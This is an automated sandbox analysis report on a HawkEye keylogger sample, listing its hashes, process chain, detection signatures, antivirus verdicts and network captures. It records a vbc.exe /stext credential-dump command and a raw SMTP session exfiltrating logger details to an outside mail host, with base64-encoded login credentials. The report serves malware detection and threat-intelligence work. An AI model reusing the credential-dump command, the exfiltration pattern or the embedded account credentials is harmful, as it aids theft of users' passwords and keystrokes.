HawkEye_8732b9561f0458416c673b49ee1ea0f3_exe_2019-07-16_11_30.txt

* MalFamily: "Hawkeye"

* MalScore: 10.0

* File Name: "HawkEye_8732b9561f0458416c673b49ee1ea0f3.exe"
* File Size: 849920
* File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
* SHA256: "059deff34e79ad36238df305381cb576e6ec9a727e6229874f5ea4e61c785b38"
* MD5: "8732b9561f0458416c673b49ee1ea0f3"
* SHA1: "f39b77c84e1deb745bc621b75ce31c024e8413e7"
* SHA512: "67d87741574c6b49fcd106cbdef8de9c7fa1fb3ef22910cea0dac031318ff6971f5e24aa605fdd9387a970a9e03765f73cb86be5d5acf482e824023ec134a9e6"
* CRC32: "1D655033"
* SSDEEP: "24576:w6kSFJGmhIUI5zn3EGAORYniO7IuEHu4rdPe:wKFIRAORGv/cu4xPe"

* Process Execution:
    "HawkEye_8732b9561f0458416c673b49ee1ea0f3.exe",
    "arininpac.exe",
    "arininpac.exe",
    "vbc.exe",
    "dw20.exe",
    "svchost.exe",
    "WmiPrvSE.exe"


* Executed Commands:
    "\"C:\\Users\\user\\AppData\\Roaming\\arinzhinew\\arininpac.exe\"",
    "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\user\\AppData\\Local\\Temp\\holdermail.txt\"",
    "dw20.exe -x -s 1780",
    "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"


* Signatures Detected:

        "Description": "Creates RWX memory",
        "Details":


        "Description": "A process attempted to delay the analysis task.",
        "Details":

                "Process": "arininpac.exe tried to sleep 737 seconds, actually delayed analysis time by 0 seconds"


                "Process": "WmiPrvSE.exe tried to sleep 360 seconds, actually delayed analysis time by 0 seconds"




        "Description": "Starts servers listening on 127.0.0.1:0",
        "Details":


        "Description": "Reads data out of its own binary image",
        "Details":

                "self_read": "process: arininpac.exe, pid: 1200, offset: 0x00000000, length: 0x00001000"


                "self_read": "process: arininpac.exe, pid: 1200, offset: 0x00000100, length: 0x00000200"




        "Description": "Drops a binary and executes it",
        "Details":

                "binary": "C:\\Users\\user\\AppData\\Roaming\\arinzhinew\\arininpac.exe"




        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details":

                "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"


                "suspicious_request": "http://whatismyipaddress.com/"




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://whatismyipaddress.com/"




        "Description": "The binary likely contains encrypted or compressed data.",
        "Details":

                "section": "name: .rsrc, entropy: 7.34, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ, raw_size: 0x0005ee00, virtual_size: 0x0005eda0"




        "Description": "Looks up the external IP address",
        "Details":

                "domain": "whatismyipaddress.com"




        "Description": "Executed a process and injected code into it, probably while unpacking",
        "Details":

                "Injection": "arininpac.exe(2304) -> arininpac.exe(1200)"




        "Description": "Sniffs keystrokes",
        "Details":

                "SetWindowsHookExA": "Process: arininpac.exe(1200)"




        "Description": "Exhibits behavior characteristics of HawkEye keylogger.",
        "Details":

                "Host": "208.91.199.223:587"


                "Hostname": "us2.smtp.mailhostbox.com"


                "SMTP_Auth_Email": "[email protected]"


                "SMTP_Mail_From": "<[email protected]>"


                "SMTP_Send_To": "<[email protected]>"




        "Description": "Retrieves Windows ProductID, probably to fingerprint the sandbox",
        "Details":


        "Description": "File has been identified by 35 Antiviruses on VirusTotal as malicious",
        "Details":

                "McAfee": "Fareit-FOZ!8732B9561F04"


                "Cylance": "Unsafe"


                "K7AntiVirus": "Riskware ( 0040eff71 )"


                "K7GW": "Riskware ( 0040eff71 )"


                "Cybereason": "malicious.84e1de"


                "F-Prot": "W32/Trojan3.AOET"


                "Symantec": "Trojan.Gen.MBT"


                "APEX": "Malicious"


                "Paloalto": "generic.ml"


                "Kaspersky": "HEUR:Backdoor.Win32.Androm.gen"


                "Rising": "Trojan.Injector!1.AFE3 (CLASSIC)"


                "Endgame": "malicious (high confidence)"


                "F-Secure": "Trojan.TR/Injector.flovb"


                "DrWeb": "Trojan.PWS.Stealer.26530"


                "Invincea": "heuristic"


                "McAfee-GW-Edition": "BehavesLike.Win32.Fareit.cc"


                "Fortinet": "W32/GenKryptik.DNHM!tr"


                "Trapmine": "malicious.high.ml.score"


                "FireEye": "Generic.mg.8732b9561f045841"


                "Cyren": "W32/Trojan.CZFM-7106"


                "Avira": "TR/Injector.flovb"


                "MAX": "malware (ai score=99)"


                "ZoneAlarm": "HEUR:Backdoor.Win32.Androm.gen"


                "Microsoft": "Trojan:Win32/Wacatac.B!ml"


                "AhnLab-V3": "Win-Trojan/Delphiless.Exp"


                "Acronis": "suspicious"


                "Panda": "Trj/Genetic.gen"


                "Zoner": "Trojan.Win32.58192"


                "ESET-NOD32": "a variant of Win32/Injector.EGQK"


                "TrendMicro-HouseCall": "TrojanSpy.Win32.LOKI.SMDD.hp"


                "SentinelOne": "DFI - Suspicious PE"


                "AVG": "Win32:Malware-gen"


                "Avast": "Win32:Malware-gen"


                "CrowdStrike": "win/malicious_confidence_100% (W)"


                "Qihoo-360": "HEUR/QVM05.1.8D09.Malware.Gen"




        "Description": "Creates a copy of itself",
        "Details":

                "copy": "C:\\Users\\user\\AppData\\Roaming\\arinzhinew\\arininpac.exe"




        "Description": "Harvests information related to installed instant messenger clients",
        "Details":

                "key": "HKEY_CURRENT_USER\\Software\\Google\\Google Talk\\Accounts"




        "Description": "Harvests information related to installed mail clients",
        "Details":

                "file": "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows Live Mail\\*.oeaccount"


                "file": "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows Live Mail\\*.*"


                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles"


                "key": "HKEY_CURRENT_USER\\Identities\\0A258175-2D14-4D69-9955-E200F247250F\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts"


                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts"


                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Account Manager\\Accounts"


                "key": "HKEY_CURRENT_USER\\Identities\\0A258175-2D14-4D69-9955-E200F247250F\\Software\\Microsoft\\Internet Account Manager\\Accounts"




        "Description": "Makes SMTP requests, possibly sending spam or exfiltrating data.",
        "Details":

                "SMTP": "208.91.199.223 (us2.smtp.mailhostbox.com)"




        "Description": "Attempts to interact with an Alternate Data Stream (ADS)",
        "Details":

                "file": "C:\\Users\\user\\AppData\\Roaming\\arinzhinew\\arininpac.exe:ZoneIdentifier"




        "Description": "Collects information to fingerprint the system",
        "Details":


        "Description": "Anomalous binary characteristics",
        "Details":

                "anomaly": "Timestamp on binary predates the release date of the OS version it requires by at least a year"




        "Description": "Attempts to modify Explorer settings to prevent hidden files from being displayed",
        "Details":



* Started Service:

* Mutexes:
    "Global\\CLR_CASOFF_MUTEX",
    "Global\\.net clr networking",
    "Global\\87a7f158-a7b7-11e9-8070-18c086cd4729",
    "CicLoadWinStaWinSta0",
    "Local\\MSCTF.CtfMonitorInstMutexDefault1"


* Modified Files:
    "C:\\Users\\user\\AppData\\Roaming\\arinzhinew\\arininpac.exe",
    "C:\\Users\\user\\AppData\\Roaming\\arinzhinew\\arininpac.exe:ZoneIdentifier",
    "C:\\Users\\user\\AppData\\Local\\GDIPFONTCACHEV1.DAT",
    "C:\\Users\\user\\AppData\\Roaming\\pid.txt",
    "C:\\Users\\user\\AppData\\Roaming\\pidloc.txt",
    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
    "\\??\\PIPE\\wkssvc",
    "\\??\\PIPE\\srvsvc",
    "C:\\Users\\user\\AppData\\Local\\Temp\\holdermail.txt",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive\\AppCrash_arininpac.exe_2fcec7a61df6365181f1d0d1fd43dcfb2eef5a3_01821c11\\Report.wer"


* Deleted Files:
    "C:\\Users\\user\\AppData\\Roaming\\arinzhinew\\arininpac.exe",
    "C:\\Users\\user\\AppData\\Local\\Temp\\holdermail.txt"


* Modified Registry Keys:
    "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\arininpac_RASAPI32",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\arininpac_RASAPI32\\EnableFileTracing",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\arininpac_RASAPI32\\EnableConsoleTracing",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\arininpac_RASAPI32\\FileTracingMask",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\arininpac_RASAPI32\\ConsoleTracingMask",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\arininpac_RASAPI32\\MaxFileSize",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\arininpac_RASAPI32\\FileDirectory",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Hidden"


* Deleted Registry Keys:

* DNS Communications:

        "type": "A",
        "request": "whatismyipaddress.com",
        "answers":

                "data": "104.16.154.36",
                "type": "A"


                "data": "104.16.155.36",
                "type": "A"




        "type": "A",
        "request": "us2.smtp.mailhostbox.com",
        "answers":

                "data": "208.91.199.224",
                "type": "A"


                "data": "208.91.199.223",
                "type": "A"


                "data": "208.91.199.225",
                "type": "A"


                "data": "208.91.198.143",
                "type": "A"





* Domains:

        "ip": "208.91.199.223",
        "domain": "us2.smtp.mailhostbox.com"


        "ip": "104.16.154.36",
        "domain": "whatismyipaddress.com"



* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 1,
        "body": "",
        "uri": "http://whatismyipaddress.com/",
        "user-agent": "",
        "method": "GET",
        "host": "whatismyipaddress.com",
        "version": "1.1",
        "path": "/",
        "data": "GET / HTTP/1.1\r\nHost: whatismyipaddress.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80



* Network Communication - SMTP:

        "raw": "EHLO Host\r\nAUTH login YXJpbnplQGFjY2F1dG8uY28=\r\nNzIxMzU3NWFjZUFDRUA=\r\nMAIL FROM:<[email protected]>\r\nRCPT TO:<[email protected]>\r\nDATA\r\nMIME-Version: 1.0\r\nFrom: [email protected]\r\nTo: [email protected]\r\nDate: 16 Jul 2019 13:24:29 -0700\r\nSubject: Logger - Server Ran - Host\r\nContent-Type: text/plain; charset=us-ascii\r\nContent-Transfer-Encoding: quoted-printable\r\n\r\nThis is an email notifying you that Host has ran your logger and emails=\r\n should be sent to you shortly and at interval choosen.=0D=0A =0D=0ALogger=\r\n Details: =0D=0AServer Name: arininpac.exe=0D=0AKeylogger Enabled: True=\r\n=0D=0AClipboard-Logger Enabled: True=0D=0ATime Logs will be delivered: Every=\r\n 5 minutes=0D=0A =0D=0AStealers Enabled: True=0D=0ATime Log will be delivered:=\r\n Average 2 to 4 minutes=0D=0A =0D=0ALocal Date and Time: 7/16/2019 1:15:06=\r\n PM=0D=0AInstalled Language: en-US=0D=0AOperating System: Microsoft Windows=\r\n 7 Enterprise N =0D=0AInternal IP Address: 169.254.255.254: \r\n\r\n.\r\n",
        "dst": "208.91.199.223"



* Network Communication - Hosts:

* Network Communication - IRC: